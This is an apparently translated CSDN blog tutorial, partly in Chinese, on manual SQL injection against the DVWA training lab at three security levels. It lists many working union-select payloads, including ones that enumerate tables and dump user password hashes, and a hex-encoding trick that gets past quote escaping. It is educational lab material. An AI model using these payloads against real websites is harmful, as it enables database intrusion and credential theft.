1, SQL injection module --DVWA

0x01, DVWA built environment (Linux version) (uses VMwareworkstations)

1、直接使用vmwareworkstations打开网盘里的文件,root用户登录即可
Link network disk Extraction code
https://pan.baidu.com/s/188HqQuMnQb5P8MK3anqU1g q9rb

①, open VMwareworkstations, open the virtual machine (note choice, a bottom, this is the most recently used, that is pending)

Here Insert Picture Description
②, as shown below, on the virtual machine after the

Here Insert Picture Description
②, click Continue to run a virtual machine, the virtual machine is turned on, you can (because this is a suspend mode)
// Note that the boot, without any action (under the premise of being able to communicate with the real machine)
Here Insert Picture Description

0x02, environment preparation phase

1. Open the Firefox browser and enter the URL field inside: http: // dvwa IP address / dvwa, as shown in Figure
Here Insert Picture Description
Here Insert Picture Description
2, the input DVWA platform username: admin password: password to log
Here Insert Picture Description
3, modify the security level of DVWA, the default is impossible, this is impossible level

Before: The default state
Here Insert Picture Description
changed to Low level, that is, after the low-level:
Here Insert Picture Description
Finally, click SQL injection modules:
Here Insert Picture Description

0x03, start Low levels of manual SQL injection

0、说在前面,SQL注入的一般步骤:
①、确定注入点(两处:一处是web表单的搜索框处,还有一处是URL栏的参数值处)
②、确定注入点注入类型(一般与确定注入点同时进行)
//一般在①、②两步的时候,需要多做and和or的尝试,一是为了进一步确认注入类型,二是为了确认有哪些字符被管理员使用黑名单的手法过滤掉了
③、使用order by猜解字段数(字段就是列)(字段数,也就是列数)
④、使用union select猜解字段回显的顺序(也可以说是回显的位置)
⑤、使用union select猜解数据库名、当前用户、当前目录、数据库版本等等
⑥、使用union select爆当前数据库内的表名
⑦、使用union select爆指定表的字段(也就是指定表的列)
⑧、使用union select爆指定字段的字段值(也就是指定列里的内容)
1、说在前面,SQL注入的本质:
①、把自己想要执行的指令,注入到,web表单提前写好的SQL查询语句内,从而执行SQL查询语句,查到结果,回显到页面。
(然而这个把指令,注入到一个完整的SQL语句时候,往往用到了手工闭合,或者注释符直接注释掉后面的语句)
2、开始注入低级别的平台:

①, enter: '

Echo Results: As shown below
Here Insert Picture Description

我们开始分析这句话:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1
意译:您的SQL语法有错误;请查看与您的MariaDB服务器版本相对应的手册,以获取在第1行的  '''''  附近使用的正确语法

此处有五个但引号,分为三个部分:
最外面一对,只是为了高亮显示,起到强调的作用
再往里一对,是对于字符串类型的SQL查询语句的自动闭合
最里面的一个,是刚刚我们输入的SQL语句
//综上所述,SQL注入的类型是字符型,并且此处肯定是注入点了
(判断是否为注入点的关键点在,语句是否被平台解析,无论是爆错还是正常的显示结果)

②, in turn:
Input: 1
Input: 1 and 1=1
Input:1 and 1=2

Echo Results were as follows: As shown below
Here Insert Picture Description
Here Insert Picture Description

Here Insert Picture Description

我么开始分析,这些回显的内容:
①、首先第一行是输入在输入框的的内容,这个只是提示(无需关心)(练习平台特有的)
②、其次二三两行,是回显的结果,就是两个字段First name(名字)和Surname(姓)
③、最后,我们发现and逻辑语句并没有起到应有的结果,所以这不是整型注入,并且and并没有被过滤

③, turn

Input: 1' and 1='1---------------- may be used 1' and '1instead of
input:1' and 1='2

Input: 1' and 1=1 #--------------- may be used 1' and 1 #instead of
input:1' and 1=2 #
Here Insert Picture Description
Here Insert Picture Description
! [Insert Picture description here] (https://img-blog.csdnimg.cn/2020011922454953.png
Here Insert Picture Description

分析:
and逻辑语句起到了作用,所以为字符型注入
单引号没有被过滤,可以使用单引号手工闭合
注释符#也没有被过滤,可以注释后面系统自动闭合的一个单引号

④、依次
输入:1' or 1='1----------------可以使用 1' or '1 来代替
输入:1' or 1='2

输入:1' or 1=1 #--------------可以使用 1' or 1 # 来代替
输入:1' or 1=2 #

结果如下图所示:
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description

分析:
or逻辑语句起到了作用,所以印证了之前的字符型注入
or没有被过滤,毕竟正常解析了嘛

⑤、使用order by猜解字段数,依次
输入:1' order by 10#------------------------显示未知列,也就是不存在那么多列
输入:1' order by 5#------------------------显示未知列,也就是不存在那么多列
输入:1' order by 3#------------------------显示未知列,也就是不存在那么多列
输入:1' order by 2#------------------------直到这里,我们才正常回显

结果如下图所示:
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description

分析:
使用二分法,来确定这个从表中查询内容的查询语句,其表中的字段有两个,也就是列有两列

⑥、使用union select猜解字段回显的顺序:
输入:1' union select 1,'2
或者输入:1' union select 1,2#
Here Insert Picture Description
Here Insert Picture Description

分析:
①、这里的手工闭合,还有使用注释符#略过自动闭合的单引号都可以成功注入
②、回显的顺序位置,很明显,名(first name)这个列是1位置,姓(Surname)这个列是2位置

⑦、使用union select联合查询,爆当前数据库名为:dvwa
输入:1' union select 1,database()#
//注意在专有的函数处,不能使用手工单引号闭合
Here Insert Picture Description
⑧、使用union select联合查询,爆用户,数据库版本,当前目录等等:
输入:1' union select 1,user()#
输入:1' union select 1,version()#
输入:1' union select 1,@@basedir#

Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description
⑨、爆当前数据库的表名:users和guestbook表
输入:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa--------单引号没被过滤,可以手动闭合
或者输入:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#--------单引号没被过滤,不可以手动闭合
或者输入:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#----------单引号被过滤,不可以手动闭合(dvwa的十六进制:0x64767761)
或者输入:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
总结:单引号是否被过滤,单引号是否可以进行手动闭合,注释符是否可以使用

结果如下:
Here Insert Picture Description
⑩、爆表的字段名
输入:1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users
输入:1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
输入:1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#----------(users的十六进制:0x64767761)

结果如下:user和password是很敏感的字段名
Here Insert Picture Description
⑪、爆user和password字段的字段值:
输入:1' union select user,password from users#
输入:1' union select 1,group_concat(user,':',password) from users#
输入:1' union select 1,group_concat(concat_ws(char(32,58,32),user,password)) from users#

结果如下图所示:
Here Insert Picture Description

分析:
MySQL数据库的密码,都是默认经过md5加密的,我们解码即可得到密码

Here Insert Picture Description

⑫、综上所述:得到该MySQL数据库中名为dvwa数据库的,其中dvwa平台的用户名和密码
用户名:admin
密码:password
//注意爆出的并不是MySQL数据库的管理员用户名和密码,只是这个数据库里的,有一个名为dvwa的数据库里存了一个dvwa平台的登录用户名和密码

3、注意:
特别注意事项:

对于字符型注入:
=================================================
order by猜解字段数的时候:
	不能够手动闭合,只能使用注释符
=================================================
union select猜解字段回显顺序的时候:
	专有名词不能够手动闭合,只能使用注释符
=================================================
union select爆表名的时候,并且知道数据库名的时候:
	'dvwa
	'dvwa'#
	 0x64767761#	(dvwa的十六进制为:0x64767761)(其十六进制等价于专有名词,不能手工闭合,这样亦可以绕过单引号的过滤了)

不知道数据库名的时候:
	database()#
=================================================
union select爆字段名的时候,一定得知道表名:
	'users
	'users'#
	0x7573657273#
=================================================
union select爆字段值的时候,一定得知道从users表中查哪些字段
	users#

0x04、开始Medium级别的SQL注入

1、修改dvwa安全级别为Medium中级

如下图所示:
Here Insert Picture Description

2、开始注入:

①、进入SQL注入模块,发现只能选择1到5的ID号,提交后获取信息

如下图所示:
Here Insert Picture Description
Here Insert Picture Description
②、我们对火狐浏览器时候代理,用Burpsuite来拦截请求包,修改后,再放通

首先给浏览器设置代理:
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description

其次,打开Burpsuite:
Here Insert Picture Description
③、在浏览器选择1,点击提交;并且在Burpsuite对拦截的包修改后放通

第一步、提交:
Here Insert Picture Description
第二步、拦截并修改:
Here Insert Picture Description
第三步、放通:
Here Insert Picture Description
④、对于以上步骤依次提交,拦截,修改,放通即可

拦截后修改的顺序:

1、确定注入点类型:为整型注入
and 1=1				正常回显
and 1=2				不回显,说明and逻辑语句起到了效果
or 1=1				正常回显
or 1=2				正常回显,说明or逻辑语句页起到了效果

2、找那些被过滤了 :(这里是利用了转移字符来把特殊的字符转义了其字符原有的含义,达到了过滤的效果)
'					报错,内容为: ' \ ' '         对于报错内容分析:最外面一对单引号是高亮显示,起到了强调的作用,里面的\ ',说明该dvwa的管理员对单引号进行了转义,也就是过滤了单引号,我们之后就不能用手动闭合了。。。。

3、猜解字段数:
order by 10
order by 5
order by 3
order by 2

4、猜解字段回显顺序
union select 1,2

5、爆库名、数据库版本、数据库用户名、当前目录
union select database(),version
union select user(),@@basedir()

6、爆名为dvwa的数据库里的表有哪些:guestbook,users
union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'
//此处会报错,内容为:'\'dvwa\''   因为单引号被转义了嘛,我们可以使用转换为十六进制来绕过,毕竟转换为十六进制后,就相当于专有名词,不再需要些单引号了
union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761

7、爆名为users表的字段名:特殊的有user和password
union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

8、爆名为user和password字段的值:得到特殊的有 admin : 5f4dcc3b5aa765d61d8327deb882cf99
union select 1,group_concat(concat_ws(char(32,58,32),user,password)) from users

0x05、开始High级别的SQL注入

0、关闭浏览器的代理

如下图所示:
Here Insert Picture Description

1、修改dvwa安全级别为High高级

如下图所示:
Here Insert Picture Description
2、进入SQL注入模块,发现需要新点开一个链接,在这个新的链接里提交,在原有页面回显结果

如下图所示:
//这个可以有效的避免,SQLmap的使用
Here Insert Picture Description
3、开始注入:

1、判断注入点类型:
'				报错,报错内容为:Something went wrong.
1 and 1=1		正常回显
1 and 1=2		正常回显,说明and逻辑语句没有起到效果,初步认为是字符型注入
1' and '1			正常回显
1' and 1='2		不回显,初步认为and语句起到了 效果
1' or '1				不正常的回显,or语句没有起到效果
1' or 1='2			不正常的回显,or语句没有起到效果
//既然如此的模糊不清,我们使用#来测试
1' and 1#			正常回显
1' and 1=2#		不回显,and语句起到了效果
1' or 1#			正常回显
1' or 1=2#		正常回显,or语句起到了效果
//以上说明了,单引号的手工闭合,可能不能用了

2、使用order by猜解字段数为:2
 1' order by 10#
 1' order by 5#
 1' order by 3#
 1' order by 2#

3、使用union select猜解字段回显顺序:First name:1,Surname:2
1' union select 1,2#		正常回显
1' union select 1,'2		不正常的回显,说明单引号的手工闭合,不起到效果了,与此前在判断注入点类型的时候,印证了

4、使用union select爆库名、数据库版本、数据库用户、当前目录
1' union select database(),version()#
1' union select user(),@@basedir#

5、使用union select爆dvwa库中的表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa			不正常回显,说明单引号不能用来手工闭合了
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#		正常回显,说明单引号只是不能手工闭合,但是可以使用
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#	正常回显

6、使用union select爆users表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users			不正常回显,再一次印证了单引号不能用来手工闭合
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#		正常回显,再一次印证了单引号只是不能用来手工闭合,但是可以使用
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#	正常回显

7、使用union select爆users表中的字段值
1' union select 1,group_concat(concat_ws(char(32,58,32),user,password)) from users#							正常回显

0x06、SQL注入三等级的比较总结:

Low级别: Medium级别: High级别:
字符型注入 整型注入 字符型注入
无过滤 单引号被转义字符过滤 单引号没有被过滤,新链接过滤了SQLmap
可以单引号手工闭合 肯定不能使用单引号手工闭合了 但是不能再使用单引号手工闭合了
可以使用注释符# 可以使用注释符# 但可以使用注释符#

0x07、总结:字符型注入的7个要点

1、什么类型的注入
2、过滤了什么
3、单引号是否被过滤
4、单引号,如果没有被过滤,是否可以手工闭合
5、是否可以使用注释符#

6、使用order by猜解字段数的时候以及爆字段值的时候,不能使用手动闭合
7、使用union select联合查询的时候,不能对专有名词手动闭合,十六进制也属于专有名词

发布了110 篇原创文章 · 获赞 30 · 访问量 5404

Guess you like

Origin blog.csdn.net/qq_45555226/article/details/104045340